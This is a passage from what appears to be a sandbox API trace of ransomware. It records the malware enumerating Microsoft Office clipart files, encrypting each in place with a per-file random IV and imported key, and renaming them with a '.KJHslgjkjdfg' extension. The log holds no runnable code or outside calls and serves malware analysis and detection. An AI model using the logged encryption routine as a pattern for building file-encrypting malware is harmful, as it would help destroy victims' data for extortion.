lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1850, lpOverlapped=0x0) returned 1 [0161.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.767] SetEndOfFile (hFile=0x114) returned 1 [0161.770] GetProcessHeap () returned 0x2a0000 [0161.770] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.770] GetProcessHeap () returned 0x2a0000 [0161.770] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.kjhslgjkjdfg")) returned 1 [0161.771] CloseHandle (hObject=0x114) returned 1 [0161.771] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0161.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.773] GetProcessHeap () returned 0x2a0000 [0161.773] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.773] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.773] GetProcessHeap () returned 0x2a0000 [0161.773] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.774] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.774] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.777] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.778] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.778] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.778] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2610, lpOverlapped=0x0) returned 1 [0161.779] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610, dwBufLen=0x2610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610) returned 1 [0161.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.779] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2610, lpOverlapped=0x0) returned 1 [0161.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.780] SetEndOfFile (hFile=0x114) returned 1 [0161.783] GetProcessHeap () returned 0x2a0000 [0161.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.783] GetProcessHeap () returned 0x2a0000 [0161.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.kjhslgjkjdfg")) returned 1 [0161.791] CloseHandle (hObject=0x114) returned 1 [0161.791] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0161.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.792] GetProcessHeap () returned 0x2a0000 [0161.792] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.792] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.794] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.794] GetProcessHeap () returned 0x2a0000 [0161.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.794] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.795] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.795] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.795] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.795] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.795] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.795] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9b8, lpOverlapped=0x0) returned 1 [0161.795] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0) returned 1 [0161.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.796] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c0, lpOverlapped=0x0) returned 1 [0161.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.796] SetEndOfFile (hFile=0x114) returned 1 [0161.799] GetProcessHeap () returned 0x2a0000 [0161.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.799] GetProcessHeap () returned 0x2a0000 [0161.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.kjhslgjkjdfg")) returned 1 [0161.801] CloseHandle (hObject=0x114) returned 1 [0161.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0161.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.802] GetProcessHeap () returned 0x2a0000 [0161.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.802] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.805] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.805] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.805] GetProcessHeap () returned 0x2a0000 [0161.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.805] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.805] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.805] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.805] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.805] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.805] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.806] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x150a, lpOverlapped=0x0) returned 1 [0161.807] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1510, dwBufLen=0x1510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1510) returned 1 [0161.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.807] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1510, lpOverlapped=0x0) returned 1 [0161.807] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.807] SetEndOfFile (hFile=0x114) returned 1 [0161.810] GetProcessHeap () returned 0x2a0000 [0161.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.810] GetProcessHeap () returned 0x2a0000 [0161.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.kjhslgjkjdfg")) returned 1 [0161.812] CloseHandle (hObject=0x114) returned 1 [0161.812] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0161.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.814] GetProcessHeap () returned 0x2a0000 [0161.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.817] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.817] GetProcessHeap () returned 0x2a0000 [0161.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.817] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.818] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.818] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe16, lpOverlapped=0x0) returned 1 [0161.818] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20) returned 1 [0161.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.819] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe20, lpOverlapped=0x0) returned 1 [0161.819] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.819] SetEndOfFile (hFile=0x114) returned 1 [0161.821] GetProcessHeap () returned 0x2a0000 [0161.822] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.822] GetProcessHeap () returned 0x2a0000 [0161.822] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.kjhslgjkjdfg")) returned 1 [0161.823] CloseHandle (hObject=0x114) returned 1 [0161.823] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0161.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 